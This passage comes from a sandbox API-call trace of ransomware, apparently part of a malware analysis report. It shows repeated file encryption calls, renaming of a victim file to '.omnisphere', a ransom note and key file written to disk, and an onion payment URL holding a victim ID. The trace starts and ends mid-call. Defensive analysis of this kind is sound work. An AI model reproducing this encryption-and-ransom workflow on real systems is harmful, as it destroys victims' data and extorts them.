Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.753] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.754] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.755] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.757] CryptDestroyKey (hKey=0x1639a28) returned 1 [0068.757] CryptReleaseContext (hProv=0x163c498, dwFlags=0x0) returned 1 [0068.757] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xc1b0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.757] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0068.757] GetProcessHeap () returned 0x1600000 [0068.757] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x27a) returned 0x165d9c8 [0068.757] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mud1tztwu.flv"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mud1tztwu.flv.omnisphere")) returned 1 [0068.758] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv.omnisphere.id" [0068.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mud1tztwu.flv.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0068.758] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0068.759] CloseHandle (hObject=0x3a8) returned 1 [0068.760] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0068.761] CloseHandle (hObject=0x3a4) returned 1 [0068.761] SetEndOfFile (hFile=0x3a0) returned 1 [0068.761] FlushFileBuffers (hFile=0x3a0) returned 1 [0068.767] CloseHandle (hObject=0x3a0) returned 1 [0068.767] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0068.767] GetProcessHeap () returned 0x1600000 [0068.767] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165dc50 [0068.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0068.767] GetProcessHeap () returned 0x1600000 [0068.767] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641a20 [0068.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641a20, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0068.767] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0068.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.767] GetProcessHeap () returned 0x1600000 [0068.767] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f890 [0068.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f890, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0068.767] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0068.767] GetProcessHeap () returned 0x1600000 [0068.768] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163b7d8 [0068.768] PathCombineW (in: pszDest=0x163b7d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0068.768] GetProcessHeap () returned 0x1600000 [0068.768] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x165b440 [0068.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.768] WriteFile (in: hFile=0x3a0, lpBuffer=0x165b440*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x165b440*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0068.768] CloseHandle (hObject=0x3a0) returned 1 [0068.768] GetProcessHeap () returned 0x1600000 [0068.769] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165dc50 | out: hHeap=0x1600000) returned 1 [0068.769] GetProcessHeap () returned 0x1600000 [0068.769] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f380 [0068.769] PathCombineW (in: pszDest=0x163f380, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0068.769] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.769] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0068.769] CloseHandle (hObject=0x3a0) returned 1 [0068.769] GetProcessHeap () returned 0x1600000 [0068.769] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f380 | out: hHeap=0x1600000) returned 1 [0068.769] GetProcessHeap () returned 0x1600000 [0068.770] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649e70 | out: hHeap=0x1600000) returned 1 [0068.770] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec17ab60, ftCreationTime.dwHighDateTime=0x1d4cf04, ftLastAccessTime.dwLowDateTime=0x906829c0, ftLastAccessTime.dwHighDateTime=0x1d4d4bd, ftLastWriteTime.dwLowDateTime=0x906829c0, ftLastWriteTime.dwHighDateTime=0x1d4d4bd, nFileSizeHigh=0x0, nFileSizeLow=0x9998, dwReserved0=0x0, dwReserved1=0xed, cFileName="puH1 V9zpzVTs8eyCQ.mp4", cAlternateFileName="PUH1V9~1.MP4")) returned 1 [0068.770] GetProcessHeap () returned 0x1600000 [0068.770] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x163b8e8 [0068.770] PathCombineW (in: pszDest=0x163b8e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="puH1 V9zpzVTs8eyCQ.mp4" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4" [0068.770] StrStrW (lpFirst=".omnisphere", lpSrch=".mp4") returned 0x0 [0068.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\puh1 v9zpzvts8eycq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, 